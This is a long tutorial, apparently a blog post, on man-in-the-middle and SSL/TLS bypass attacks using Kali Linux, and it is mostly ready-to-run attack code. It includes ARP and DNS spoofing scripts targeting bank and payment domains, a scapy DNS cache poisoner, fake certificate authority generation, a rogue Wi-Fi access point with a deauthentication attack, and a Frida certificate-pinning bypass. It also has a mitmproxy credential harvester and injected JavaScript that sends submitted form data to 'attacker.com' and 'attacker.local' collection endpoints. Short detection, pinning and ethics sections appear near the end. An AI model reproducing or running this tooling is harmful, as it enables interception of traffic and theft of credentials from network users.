Introduction
Man-in-the-Middle (MITM) attacks represent one of the most powerful techniques in a security professional’s arsenal for demonstrating the vulnerabilities inherent in network communications. When combined with SSL/TLS bypass methods, these attacks can reveal how seemingly secure communications can be compromised under certain conditions. This technical deep-dive explores the implementation of MITM attacks and SSL bypass techniques using Kali Linux, examining the underlying protocols, practical attack vectors, and defensive countermeasures. Understanding these techniques is crucial for security professionals tasked with protecting organizational networks and educating users about security risks.
Understanding MITM Attack Architecture
The MITM Attack Chain
A successful MITM attack requires positioning the attacker’s system between the victim and the intended destination, allowing interception and potential modification of traffic:
┌─────────────────────────────────────────────────────────────┐
│ MITM Attack Architecture │
└─────────────────────────────────────────────────────────────┘
│
Normal Communication
┌──────────────┐ ┌──────────────┐
│ Victim │ ────────────────────────> │ Server │
└──────────────┘ └──────────────┘
│
MITM Attack Scenario
┌──────────────┐ ┌──────────┐ ┌──────────────┐
│ Victim │ ──────> │ Attacker │ ──────> │ Server │
└──────────────┘ <────── │ (MITM) │ <────── └──────────────┘
└──────────┘
│
┌─────────────────────┼─────────────────────┐
▼ ▼ ▼
┌────────────────┐ ┌────────────────┐ ┌────────────────┐
│ ARP Spoofing │ │ DNS Spoofing │ │ DHCP Spoofing │
└────────────────┘ └────────────────┘ └────────────────┘
│ │ │
▼ ▼ ▼
┌────────────────┐ ┌────────────────┐ ┌────────────────┐
│ Traffic │ │ SSL/TLS │ │ Credential │
│ Interception │ │ Manipulation │ │ Harvesting │
└────────────────┘ └────────────────┘ └────────────────┘
Prerequisites for MITM Attacks
Before conducting MITM attacks in authorized testing scenarios, several prerequisites must be met:
bash# Enable IP forwarding (crucial for MITM)
echo 1 > /proc/sys/net/ipv4/ip_forward
# Or persistently
sysctl -w net.ipv4.ip_forward=1
# Verify network interface
ip addr show
ifconfig
# Check network connectivity
ping -c 4 gateway_ip
ping -c 4 target_ip
# Install required tools (if not present)
apt update
apt install ettercap-text-only ettercap-graphical bettercap mitmproxy sslstrip dsniff arpspoof
ARP-Based MITM Attacks
Understanding ARP Spoofing
Address Resolution Protocol (ARP) spoofing forms the foundation of many MITM attacks on local networks:
bash# Manual ARP spoofing using arpspoof
# Terminal 1: Spoof gateway to victim
arpspoof -i eth0 -t victim_ip gateway_ip
# Terminal 2: Spoof victim to gateway
arpspoof -i eth0 -t gateway_ip victim_ip
# Using Ettercap for ARP poisoning
# Text mode with automatic forwarding
ettercap -T -M arp:remote /gateway_ip// /victim_ip//
# Graphical mode for easier management
ettercap -G
# Using Bettercap (more modern approach)
bettercap -iface eth0
# Inside Bettercap:
net.probe on
net.show
set arp.spoof.targets victim_ip
arp.spoof on
# Monitor poisoned ARP cache
arp -a
Advanced ARP Attack Techniques
Implementing sophisticated ARP-based attacks for comprehensive testing:
bash#!/bin/bash
# Advanced ARP MITM Script
INTERFACE="eth0"
GATEWAY="192.168.1.1"
TARGET="192.168.1.100"
LOG_DIR="/tmp/mitm_capture"
# Create log directory
mkdir -p "$LOG_DIR"
# Function to enable IP forwarding
enable_forwarding() {
echo "[*] Enabling IP forwarding..."
echo 1 > /proc/sys/net/ipv4/ip_forward
}
# Function to start ARP spoofing
start_arp_spoof() {
echo "[*] Starting ARP spoofing..."
arpspoof -i "$INTERFACE" -t "$TARGET" "$GATEWAY" 2>/dev/null &
ARP1_PID=$!
arpspoof -i "$INTERFACE" -t "$GATEWAY" "$TARGET" 2>/dev/null &
ARP2_PID=$!
echo "[*] ARP spoofing PIDs: $ARP1_PID, $ARP2_PID"
}
# Function to start packet capture
start_capture() {
echo "[*] Starting packet capture..."
tcpdump -i "$INTERFACE" -w "$LOG_DIR/capture_$(date +%Y%m%d_%H%M%S).pcap" \
host "$TARGET" and not arp &
TCPDUMP_PID=$!
echo "[*] Tcpdump PID: $TCPDUMP_PID"
}
# Function to display intercepted credentials
monitor_credentials() {
echo "[*] Monitoring for credentials..."
tcpdump -i "$INTERFACE" -A -s 0 'tcp port 80 or tcp port 21 or tcp port 25' 2>/dev/null | \
grep -E -i 'pass=|pwd=|password=|user=|username=|login=' --color=auto
}
# Cleanup function
cleanup() {
echo "[!] Cleaning up..."
kill $ARP1_PID $ARP2_PID $TCPDUMP_PID 2>/dev/null
echo 0 > /proc/sys/net/ipv4/ip_forward
echo "[*] Cleanup complete"
}
# Set trap for cleanup
trap cleanup EXIT
# Main execution
enable_forwarding
start_arp_spoof
start_capture
monitor_credentials
Ettercap Advanced Usage
Ettercap provides powerful features for MITM attacks beyond basic ARP spoofing:
bash# Ettercap with filters
# Create an Ettercap filter (replace_content.ef)
cat > replace_content.ef << 'EOF'
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("</title>", "</title><script>alert('MITM Attack Demo');</script>");
replace("https://", "http://");
}
EOF
# Compile the filter
etterfilter replace_content.ef -o replace_content.ef
# Run Ettercap with the filter
ettercap -T -q -F replace_content.ef -M arp:remote /gateway_ip// /victim_ip//
# Ettercap plugins for enhanced attacks
ettercap -T -P dns_spoof -M arp:remote /gateway_ip// /victim_ip//
# Create DNS spoofing configuration
cat > /etc/ettercap/etter.dns << 'EOF'
# DNS spoofing entries
*.bank.com A 192.168.1.200
*.facebook.com A 192.168.1.200
microsoft.com A 192.168.1.200
EOF
# Remote browser exploitation
ettercap -T -P remote_browser -M arp:remote /gateway_ip// /victim_ip//
Modern MITM with Bettercap
Bettercap Configuration and Usage
Bettercap represents the evolution of MITM tools with modern features and active development:
bash# Basic Bettercap usage
bettercap -iface eth0
# Interactive mode commands
> net.probe on
> net.show
> set arp.spoof.targets 192.168.1.100,192.168.1.101
> set arp.spoof.internal true
> arp.spoof on
# HTTP proxy with SSL stripping
> set http.proxy.sslstrip true
> http.proxy on
# DNS spoofing configuration
> set dns.spoof.all true
> set dns.spoof.domains bank.com,*.bank.com
> dns.spoof on
# Packet sniffing with filters
> set net.sniff.verbose true
> set net.sniff.filter "tcp port 80 or tcp port 443"
> net.sniff on
# JavaScript injection
> set http.proxy.script inject.js
> http.proxy on
# Create injection script (inject.js)
function onResponse(req, res) {
if (res.ContentType.indexOf('text/html') == 0) {
var body = res.ReadBody();
res.Body = body.replace(
'</head>',
'<script>console.log("Injected by MITM");</script></head>'
);
}
}
Advanced Bettercap Scripting
Creating sophisticated attack scenarios with Bettercap caplets:
ruby# Save as: advanced_mitm.cap
# Advanced MITM Caplet for Bettercap
# Network discovery
net.probe on
sleep 3
net.probe off
# Show discovered hosts
net.show
# Set ARP spoofing targets (entire subnet)
set arp.spoof.targets 192.168.1.0/24
set arp.spoof.internal true
# Enable ARP spoofing
arp.spoof on
# Configure SSL stripping
set http.proxy.sslstrip true
# Configure DNS spoofing
set dns.spoof.all true
set dns.spoof.domains *.bank.com,*.paypal.com,*.amazon.com
# Custom JavaScript injection
set http.proxy.script inject_advanced.js
# Enable HTTP proxy
http.proxy on
# Enable DNS spoofing
dns.spoof on
# Credential harvesting
set net.sniff.regexp '.*password=.+'
set net.sniff.output credentials.txt
net.sniff on
# Create JavaScript payload (inject_advanced.js)
function onRequest(req, res) {
// Log all requests
log('Request: ' + req.Hostname + req.Path);
// Modify specific headers
if (req.Hostname.indexOf('bank.com') !== -1) {
req.SetHeader('X-Forwarded-For', '127.0.0.1');
}
}
function onResponse(req, res) {
// Only process HTML responses
if (res.ContentType.indexOf('text/html') !== -1) {
var body = res.ReadBody();
// Inject credential harvester
var payload = '<script>' +
'document.addEventListener("submit", function(e) {' +
' var data = new FormData(e.target);' +
' var xhr = new XMLHttpRequest();' +
' xhr.open("POST", "http://attacker.com/collect", true);' +
' xhr.send(data);' +
'});' +
'</script>';
// Inject before closing body tag
res.Body = body.replace('</body>', payload + '</body>');
// Downgrade HTTPS to HTTP
res.Body = res.Body.replace(/https:\/\//g, 'http://');
}
}
SSL/TLS Interception and Bypass
Understanding SSL/TLS MITM
SSL/TLS encryption presents challenges for MITM attacks, requiring specialized techniques:
┌─────────────────────────────────────────────────────────────┐
│ SSL/TLS MITM Attack Flow │
└─────────────────────────────────────────────────────────────┘
│
Standard HTTPS Connection
┌──────────────┐ ┌──────────────┐
│ Client │ <-------- TLS ---------> │ Server │
│ │ Encrypted Channel │ │
└──────────────┘ └──────────────┘
│
SSL/TLS MITM Attack
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ Client │ │ Attacker │ │ Server │
│ │ │ │ │ │
└──────────────┘ └──────────────┘ └──────────────┘
│ │ │
│<-- Fake Cert ----->│<-- Real Cert ---->│
│ (TLS) │ (TLS) │
│ │ │
└────────────────────┼────────────────────┘
│
Decrypted Traffic
Visible to Attacker
SSLStrip Implementation
SSLStrip downgrades HTTPS connections to HTTP, bypassing encryption:
bash# Basic SSLStrip usage
# 1. Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# 2. Configure iptables to redirect HTTP traffic
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
# 3. Start SSLStrip
sslstrip -l 10000 -w sslstrip.log
# 4. Start ARP spoofing (in another terminal)
arpspoof -i eth0 -t victim_ip gateway_ip
# Advanced SSLStrip with additional options
sslstrip -l 10000 -w sslstrip.log -f -k
# Monitor the log file
tail -f sslstrip.log | grep -E "username|password|email"
# Automated SSLStrip attack script
#!/bin/bash
# sslstrip_attack.sh
INTERFACE="eth0"
GATEWAY="192.168.1.1"
TARGET="192.168.1.100"
SSLSTRIP_PORT="10000"
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Setup iptables
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $SSLSTRIP_PORT
iptables -A FORWARD -p tcp --destination-port 80 -j ACCEPT
# Start SSLStrip
sslstrip -l $SSLSTRIP_PORT -w sslstrip_$(date +%Y%m%d_%H%M%S).log &
SSLSTRIP_PID=$!
# Start ARP spoofing
arpspoof -i $INTERFACE -t $TARGET $GATEWAY &
ARP1_PID=$!
arpspoof -i $INTERFACE -t $GATEWAY $TARGET &
ARP2_PID=$!
echo "[*] SSLStrip attack running..."
echo "[*] Press Ctrl+C to stop"
# Cleanup function
cleanup() {
kill $SSLSTRIP_PID $ARP1_PID $ARP2_PID 2>/dev/null
iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $SSLSTRIP_PORT
echo 0 > /proc/sys/net/ipv4/ip_forward
echo "[*] Cleanup complete"
}
trap cleanup EXIT
wait
HSTS Bypass Techniques
HTTP Strict Transport Security (HSTS) prevents protocol downgrade attacks, but can sometimes be bypassed:
bash# SSLStrip+ (SSLStrip2) for HSTS bypass
# Uses DNS hijacking to bypass HSTS
# 1. Configure DNS hijacking
cat > dns_hijack.conf << 'EOF'
# Hijack domains with similar names
www.facebook.com 192.168.1.200
wwww.facebook.com 192.168.1.200
www-facebook.com 192.168.1.200
EOF
# 2. Use Bettercap for HSTS bypass
bettercap -iface eth0 -eval "
set dns.spoof.all true
set dns.spoof.domains www.facebook.com,wwww.facebook.com
set http.proxy.sslstrip true
dns.spoof on
http.proxy on
"
# 3. Using MITMf (deprecated but educational)
# MITMf includes HSTS bypass capabilities
mitmf --arp --spoof --gateway gateway_ip --target target_ip -i eth0 --hsts
# 4. Manual HSTS bypass approach
# Requires control over DNS and similar domain registration
# Step 1: Register similar domains (e.g., faceboook.com, facebok.com)
# Step 2: Obtain valid SSL certificates for these domains
# Step 3: Redirect victims to your controlled domains
MITMProxy for SSL Interception
MITMProxy provides powerful SSL/TLS interception capabilities:
bash# Basic mitmproxy usage
mitmproxy -p 8080
# Transparent proxy mode
mitmproxy -T --host
# Configure iptables for transparent proxy
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
# Using mitmdump for scripting
mitmdump -s inject_script.py
# Create Python script for request/response modification (inject_script.py)
from mitmproxy import http
def request(flow: http.HTTPFlow) -> None:
# Log all requests
with open("requests.log", "a") as f:
f.write(f"{flow.request.method} {flow.request.pretty_url}\n")
# Modify headers
flow.request.headers["X-Injected"] = "MITM-Test"
# Redirect specific requests
if "bank.com" in flow.request.pretty_host:
flow.request.host = "evil.com"
def response(flow: http.HTTPFlow) -> None:
# Only modify HTML responses
if "text/html" in flow.response.headers.get("content-type", ""):
# Inject JavaScript
flow.response.content = flow.response.content.replace(
b"</body>",
b"<script>console.log('Injected via MITM');</script></body>"
)
# Log credentials
if flow.request.method == "POST":
with open("credentials.log", "a") as f:
f.write(f"POST to {flow.request.pretty_url}\n")
f.write(f"Data: {flow.request.text}\n\n")
# Advanced mitmproxy configuration
cat > ~/.mitmproxy/config.yaml << 'EOF'
# Ignore hosts (bypass proxy)
ignore_hosts:
- '^(.+\.)?google\.com$'
- '^(.+\.)?googleapis\.com$'
# Upstream proxy
upstream_proxy: http://proxy.company.com:8080
# Client replay
client_replay: flows.mitm
# Server replay
server_replay: responses.mitm
# Script loading
scripts:
- /path/to/inject_script.py
- /path/to/modify_script.py
# Certificate settings
certs:
- example.com=/path/to/example.com.pem
EOF
Creating Fake SSL Certificates
For SSL interception, creating convincing fake certificates is crucial:
bash# Generate a CA certificate
openssl genrsa -out ca.key 4096
openssl req -new -x509 -days 365 -key ca.key -out ca.crt \
-subj "/C=US/ST=State/L=City/O=TrustedCA/CN=Trusted Certificate Authority"
# Generate a fake certificate for a specific domain
openssl genrsa -out fake.key 2048
openssl req -new -key fake.key -out fake.csr \
-subj "/C=US/ST=State/L=City/O=Target Company/CN=*.targetdomain.com"
# Sign the certificate with our CA
openssl x509 -req -in fake.csr -CA ca.crt -CAkey ca.key -CAcreateserial \
-out fake.crt -days 365 -sha256
# Create a certificate chain
cat fake.crt ca.crt > fake-chain.crt
# Automated certificate generation script
#!/bin/bash
# generate_fake_cert.sh
DOMAIN="$1"
OUTPUT_DIR="./fake_certs"
mkdir -p "$OUTPUT_DIR"
# Generate CA if it doesn't exist
if [ ! -f "$OUTPUT_DIR/ca.key" ]; then
openssl genrsa -out "$OUTPUT_DIR/ca.key" 4096
openssl req -new -x509 -days 3650 -key "$OUTPUT_DIR/ca.key" \
-out "$OUTPUT_DIR/ca.crt" \
-subj "/C=US/ST=State/L=City/O=TrustedCA/CN=Trusted Authority"
fi
# Generate domain certificate
openssl genrsa -out "$OUTPUT_DIR/$DOMAIN.key" 2048
openssl req -new -key "$OUTPUT_DIR/$DOMAIN.key" \
-out "$OUTPUT_DIR/$DOMAIN.csr" \
-subj "/C=US/ST=State/L=City/O=Company/CN=$DOMAIN"
# Create extensions file for SANs
cat > "$OUTPUT_DIR/$DOMAIN.ext" << EOF
authorityKeyIdentifier=keyid,issuer
basicConstraints=CA:FALSE
keyUsage = digitalSignature, nonRepudiation, keyEncipherment, dataEncipherment
subjectAltName = @alt_names
[alt_names]
DNS.1 = $DOMAIN
DNS.2 = *.$DOMAIN
EOF
# Sign the certificate
openssl x509 -req -in "$OUTPUT_DIR/$DOMAIN.csr" \
-CA "$OUTPUT_DIR/ca.crt" -CAkey "$OUTPUT_DIR/ca.key" \
-CAcreateserial -out "$OUTPUT_DIR/$DOMAIN.crt" \
-days 365 -sha256 -extfile "$OUTPUT_DIR/$DOMAIN.ext"
echo "[*] Certificate generated for $DOMAIN"
echo "[*] Files created in $OUTPUT_DIR/"
DNS-Based MITM Attacks
DNS Spoofing Techniques
DNS spoofing redirects victims to attacker-controlled servers:
bash# Using dnsspoof (part of dsniff)
echo "192.168.1.200 *.bank.com" > dnsspoof.hosts
echo "192.168.1.200 *.paypal.com" >> dnsspoof.hosts
dnsspoof -i eth0 -f dnsspoof.hosts
# Using Ettercap for DNS spoofing
# Edit /etc/ettercap/etter.dns
echo "*.bank.com A 192.168.1.200" >> /etc/ettercap/etter.dns
echo "*.paypal.com A 192.168.1.200" >> /etc/ettercap/etter.dns
ettercap -T -P dns_spoof -M arp:remote /gateway_ip// /victim_ip//
# Bettercap DNS spoofing
bettercap -iface eth0 -eval "
set dns.spoof.all false
set dns.spoof.domains bank.com,*.bank.com,paypal.com,*.paypal.com
set dns.spoof.address 192.168.1.200
dns.spoof on
"
# Setting up a fake DNS server
# Using dnsmasq
cat > /etc/dnsmasq.conf << 'EOF'
# Fake DNS responses
address=/bank.com/192.168.1.200
address=/paypal.com/192.168.1.200
address=/amazon.com/192.168.1.200
# Log all queries
log-queries
log-facility=/var/log/dnsmasq.log
# Listen on specific interface
interface=eth0
bind-interfaces
# Never forward queries for these domains
local=/bank.com/
local=/paypal.com/
EOF
dnsmasq -C /etc/dnsmasq.conf --no-daemon
DNS Cache Poisoning
Advanced DNS attack techniques for comprehensive testing:
python#!/usr/bin/env python3
# DNS Cache Poisoning PoC
from scapy.all import *
import random
import threading
class DNSPoisoner:
def __init__(self, interface, target_domain, fake_ip):
self.interface = interface
self.target_domain = target_domain
self.fake_ip = fake_ip
self.running = True
def poison_response(self, packet):
"""Create poisoned DNS response"""
if packet.haslayer(DNSQR) and self.target_domain in packet[DNSQR].qname.decode():
print(f"[*] Poisoning request for {packet[DNSQR].qname.decode()}")
# Create fake response
response = IP(dst=packet[IP].src, src=packet[IP].dst) / \
UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) / \
DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd,
an=DNSRR(rrname=packet[DNSQR].qname, ttl=10,
rdata=self.fake_ip))
# Send multiple responses to increase success rate
for _ in range(5):
send(response, verbose=0, iface=self.interface)
# Slightly modify ID for cache poisoning
response[DNS].id = (response[DNS].id + 1) % 65536
def start_poisoning(self):
"""Start DNS poisoning attack"""
print(f"[*] Starting DNS poisoning for {self.target_domain}")
print(f"[*] Redirecting to {self.fake_ip}")
# Sniff DNS queries
sniff(filter="udp port 53", prn=self.poison_response,
iface=self.interface, store=0)
def stop_poisoning(self):
"""Stop the attack"""
self.running = False
if __name__ == "__main__":
poisoner = DNSPoisoner("eth0", "bank.com", "192.168.1.200")
try:
poisoner.start_poisoning()
except KeyboardInterrupt:
print("\n[!] Stopping DNS poisoner...")
poisoner.stop_poisoning()
Advanced MITM Attack Scenarios
WiFi MITM Attacks
Implementing MITM attacks on wireless networks:
bash# Create fake access point for MITM
# 1. Enable monitor mode
airmon-ng start wlan0
# This creates wlan0mon
# 2. Create fake AP with same SSID
airbase-ng -a AA:BB:CC:DD:EE:FF --essid "TargetWiFi" -c 6 wlan0mon
# 3. Configure network bridge
brctl addbr br0
brctl addif br0 eth0
brctl addif br0 at0
ifconfig at0 0.0.0.0 up
ifconfig br0 192.168.1.1 netmask 255.255.255.0 up
# 4. Enable DHCP server
cat > /etc/dhcp/dhcpd.conf << 'EOF'
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.100 192.168.1.200;
option routers 192.168.1.1;
option domain-name-servers 8.8.8.8, 8.8.4.4;
}
EOF
dhcpd -cf /etc/dhcp/dhcpd.conf br0
# 5. Configure routing and NAT
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# 6. Start MITM tools
bettercap -iface br0 -eval "
set http.proxy.sslstrip true
set dns.spoof.all true
http.proxy on
dns.spoof on
"
# Deauth attack to force reconnection
aireplay-ng -0 10 -a target_ap_bssid -c client_mac wlan0mon
MITM in Modern Environments
Dealing with certificate pinning and modern security measures:
bash# Certificate pinning bypass with Frida (mobile apps)
frida -U -l cert_pinning_bypass.js com.targetapp
# cert_pinning_bypass.js
Java.perform(function() {
var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData) {
return untrustedChain;
};
});
# HPKP (HTTP Public Key Pinning) bypass
# Using mitmproxy with custom script
from mitmproxy import http
def response(flow: http.HTTPFlow) -> None:
# Remove HPKP headers
if "Public-Key-Pins" in flow.response.headers:
del flow.response.headers["Public-Key-Pins"]
if "Public-Key-Pins-Report-Only" in flow.response.headers:
del flow.response.headers["Public-Key-Pins-Report-Only"]
# Browser-specific MITM
# Firefox: Set security.cert_pinning.enforcement_level to 0
# Chrome: Use --ignore-certificate-errors flag
# Dealing with certificate transparency
# Log all certificates to detect CT logs
openssl s_client -connect target.com:443 -showcerts < /dev/null | \
openssl x509 -text -noout | grep -A 10 "CT Precertificate"
Automated Credential Harvesting
Creating sophisticated credential harvesting during MITM:
python#!/usr/bin/env python3
# Advanced Credential Harvester for MITM
import re
import time
import json
from datetime import datetime
from mitmproxy import http
class CredentialHarvester:
def __init__(self):
self.credentials = []
self.patterns = {
'username': [
r'user(?:name)?=([^&\s]+)',
r'email=([^&\s]+)',
r'login=([^&\s]+)',
r'account=([^&\s]+)'
],
'password': [
r'pass(?:word)?=([^&\s]+)',
r'pwd=([^&\s]+)',
r'secret=([^&\s]+)'
],
'token': [
r'token=([^&\s]+)',
r'api_key=([^&\s]+)',
r'session=([^&\s]+)'
]
}
def extract_credentials(self, data):
"""Extract credentials from request data"""
found = {}
for cred_type, patterns in self.patterns.items():
for pattern in patterns:
matches = re.findall(pattern, data, re.IGNORECASE)
if matches:
found[cred_type] = matches[0]
break
return found
def save_credentials(self, creds, url, method):
"""Save harvested credentials"""
entry = {
'timestamp': datetime.now().isoformat(),
'url': url,
'method': method,
'credentials': creds
}
self.credentials.append(entry)
# Save to file
with open('harvested_creds.json', 'a') as f:
f.write(json.dumps(entry) + '\n')
# Console notification
print(f"\n[!] Credentials captured from {url}")
for key, value in creds.items():
print(f" {key}: {value}")
harvester = CredentialHarvester()
def request(flow: http.HTTPFlow) -> None:
# Check for credentials in POST requests
if flow.request.method == "POST":
content = flow.request.get_text()
creds = harvester.extract_credentials(content)
if creds:
harvester.save_credentials(
creds,
flow.request.pretty_url,
flow.request.method
)
# Check for credentials in GET requests (less secure sites)
elif flow.request.method == "GET":
query = flow.request.query
creds = {}
for param, value in query.items():
if any(p in param.lower() for p in ['user', 'pass', 'email', 'token']):
creds[param] = value
if creds:
harvester.save_credentials(
creds,
flow.request.pretty_url,
flow.request.method
)
# Check for authentication headers
auth_header = flow.request.headers.get("Authorization", "")
if auth_header:
harvester.save_credentials(
{"Authorization": auth_header},
flow.request.pretty_url,
"HEADER"
)
def response(flow: http.HTTPFlow) -> None:
# Inject credential stealer into HTML pages
if "text/html" in flow.response.headers.get("content-type", ""):
injected_js = """
<script>
document.addEventListener('submit', function(e) {
var formData = new FormData(e.target);
var data = {};
formData.forEach(function(value, key) {
data[key] = value;
});
// Send to attacker
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.local:8888/collect', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({
url: window.location.href,
timestamp: new Date().toISOString(),
data: data
}));
});
</script>
"""
flow.response.content = flow.response.content.replace(
b"</body>",
injected_js.encode() + b"</body>"
)
Defensive Measures and Detection
Detecting MITM Attacks
Understanding defensive measures helps in comprehensive security testing:
bash# ARP spoofing detection
#!/bin/bash
# arp_detect.sh - Detect ARP spoofing attempts
INTERFACE="eth0"
GATEWAY_IP="192.168.1.1"
GATEWAY_MAC="aa:bb:cc:dd:ee:ff"
# Monitor ARP changes
monitor_arp() {
echo "[*] Monitoring ARP table for changes..."
while true; do
current_mac=$(arp -n | grep "$GATEWAY_IP" | awk '{print $3}')
if [[ "$current_mac" != "$GATEWAY_MAC" ]] && [[ -n "$current_mac" ]]; then
echo "[!] ARP SPOOFING DETECTED!"
echo "[!] Gateway IP: $GATEWAY_IP"
echo "[!] Expected MAC: $GATEWAY_MAC"
echo "[!] Current MAC: $current_mac"
echo "[!] Time: $(date)"
# Send alert (email, notification, etc.)
# mail -s "ARP Spoofing Detected" [email protected] < alert.txt
fi
sleep 5
done
}
# Check for duplicate IP addresses
check_duplicates() {
echo "[*] Checking for duplicate IP addresses..."
arping -D -I "$INTERFACE" "$GATEWAY_IP" -c 2
if [ $? -eq 1 ]; then
echo "[!] Duplicate IP address detected for $GATEWAY_IP"
fi
}
# SSL certificate validation
check_ssl_cert() {
local domain="$1"
local port="${2:-443}"
echo "[*] Checking SSL certificate for $domain:$port"
# Get certificate fingerprint
fingerprint=$(echo | openssl s_client -connect "$domain:$port" 2>/dev/null | \
openssl x509 -noout -fingerprint -sha256 | cut -d'=' -f2)
echo "[*] Certificate fingerprint: $fingerprint"
# Compare with known good fingerprint
# In production, maintain a database of known good certificates
}
# Main monitoring loop
monitor_arp &
check_duplicates
Implementing SSL Pinning
SSL pinning prevents MITM attacks by validating specific certificates:
python#!/usr/bin/env python3
# SSL Pinning Implementation Example
import ssl
import socket
import hashlib
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# Disable SSL warnings for demonstration
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class SSLPinning:
def __init__(self):
self.pinned_certs = {
'example.com': 'sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=',
'api.example.com': 'sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB='
}
def get_cert_fingerprint(self, hostname, port=443):
"""Get SHA256 fingerprint of server certificate"""
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((hostname, port)) as sock:
with context.wrap_socket(sock, server_hostname=hostname) as ssock:
der_cert = ssock.getpeercert_binary()
return f"sha256/{hashlib.sha256(der_cert).hexdigest()}"
def verify_pinned_cert(self, hostname):
"""Verify certificate against pinned fingerprint"""
if hostname not in self.pinned_certs:
raise Exception(f"No pinned certificate for {hostname}")
actual_fingerprint = self.get_cert_fingerprint(hostname)
expected_fingerprint = self.pinned_certs[hostname]
if actual_fingerprint != expected_fingerprint:
raise Exception(f"Certificate mismatch for {hostname}!")
return True
def make_secure_request(self, url):
"""Make HTTP request with certificate pinning"""
from urllib.parse import urlparse
parsed = urlparse(url)
hostname = parsed.hostname
# Verify pinned certificate
self.verify_pinned_cert(hostname)
# If verification passes, make the request
# In production, implement custom adapter for requests library
response = requests.get(url, verify=True)
return response
# Usage example
pinning = SSLPinning()
try:
# This will fail if certificate doesn't match
response = pinning.make_secure_request('https://example.com/api/data')
print("[*] Secure connection established")
except Exception as e:
print(f"[!] Security error: {e}")
Best Practices and Ethical Considerations
Legal and Ethical Framework
When conducting MITM attacks for security testing:
┌─────────────────────────────────────────────────────────────┐
│ Ethical MITM Testing Framework │
└─────────────────────────────────────────────────────────────┘
│
┌─────────────────────┼─────────────────────┐
▼ ▼ ▼
┌────────────────┐ ┌────────────────┐ ┌────────────────┐
│ Authorization │ │ Scope │ │ Documentation │
│ Required │ │ Definition │ │ Required │
└────────────────┘ └────────────────┘ └────────────────┘
│ │ │
▼ ▼ ▼
┌────────────────┐ ┌────────────────┐ ┌────────────────┐
│ Written │ │ Clear │ │ Complete │
│ Permission │ │ Boundaries │ │ Logs │
└────────────────┘ └────────────────┘ └────────────────┘
Responsible Disclosure
When discovering vulnerabilities through MITM testing:
- Document Everything
- Time and date of testing
- Specific techniques used
- Vulnerabilities discovered
- Potential impact assessment
- Follow Disclosure Protocols
- Report to appropriate security team
- Provide detailed remediation steps
- Allow reasonable time for fixes
- Never publicly disclose without permission
- Minimize Impact
- Test during approved windows
- Avoid capturing sensitive data
- Delete captured data after analysis
- Never modify critical data
Testing Environment Setup
Creating isolated environments for MITM testing:
bash#!/bin/bash
# setup_mitm_lab.sh - Create isolated MITM testing environment
# Create virtual network
sudo ip link add name mitm-br type bridge
sudo ip addr add 172.16.0.1/24 dev mitm-br
sudo ip link set mitm-br up
# Enable routing
sudo sysctl -w net.ipv4.ip_forward=1
# Configure NAT
sudo iptables -t nat -A POSTROUTING -s 172.16.0.0/24 -j MASQUERADE
# Create network namespaces
sudo ip netns add victim
sudo ip netns add attacker
# Create veth pairs
sudo ip link add veth-victim type veth peer name veth-victim-br
sudo ip link add veth-attacker type veth peer name veth-attacker-br
# Connect to bridge
sudo ip link set veth-victim-br master mitm-br
sudo ip link set veth-attacker-br master mitm-br
# Move interfaces to namespaces
sudo ip link set veth-victim netns victim
sudo ip link set veth-attacker netns attacker
# Configure victim
sudo ip netns exec victim ip addr add 172.16.0.100/24 dev veth-victim
sudo ip netns exec victim ip link set veth-victim up
sudo ip netns exec victim ip route add default via 172.16.0.1
# Configure attacker
sudo ip netns exec attacker ip addr add 172.16.0.200/24 dev veth-attacker
sudo ip netns exec attacker ip link set veth-attacker up
sudo ip netns exec attacker ip route add default via 172.16.0.1
echo "[*] MITM lab environment created"
echo "[*] Victim namespace: sudo ip netns exec victim bash"
echo "[*] Attacker namespace: sudo ip netns exec attacker bash"
Conclusion
Man-in-the-Middle attacks and SSL bypass techniques represent critical areas of security testing that reveal fundamental vulnerabilities in network communications. Through the comprehensive exploration of tools like Ettercap, Bettercap, SSLStrip, and MITMProxy, security professionals can demonstrate the real-world risks associated with inadequate network security and the importance of proper encryption implementation.
The techniques covered in this guide—from basic ARP spoofing to sophisticated SSL/TLS interception—illustrate how attackers can position themselves to intercept, modify, and analyze network traffic. Understanding these attack vectors is essential for developing effective defensive strategies and educating users about the importance of security indicators like certificate warnings and HTTPS usage.
However, with great power comes great responsibility. These tools and techniques must only be used within authorized testing environments and with explicit written permission. The goal is always to improve security, not to compromise it. By mastering these techniques ethically and professionally, security practitioners can help organizations identify vulnerabilities before malicious actors exploit them.
As security measures continue to evolve with technologies like HSTS, certificate pinning, and certificate transparency, so too must the techniques used to test them. Staying current with both attack and defense methodologies ensures that security professionals can provide comprehensive assessments that truly reflect the current threat landscape.
Frequently Asked Questions
What is the difference between passive and active MITM attacks?
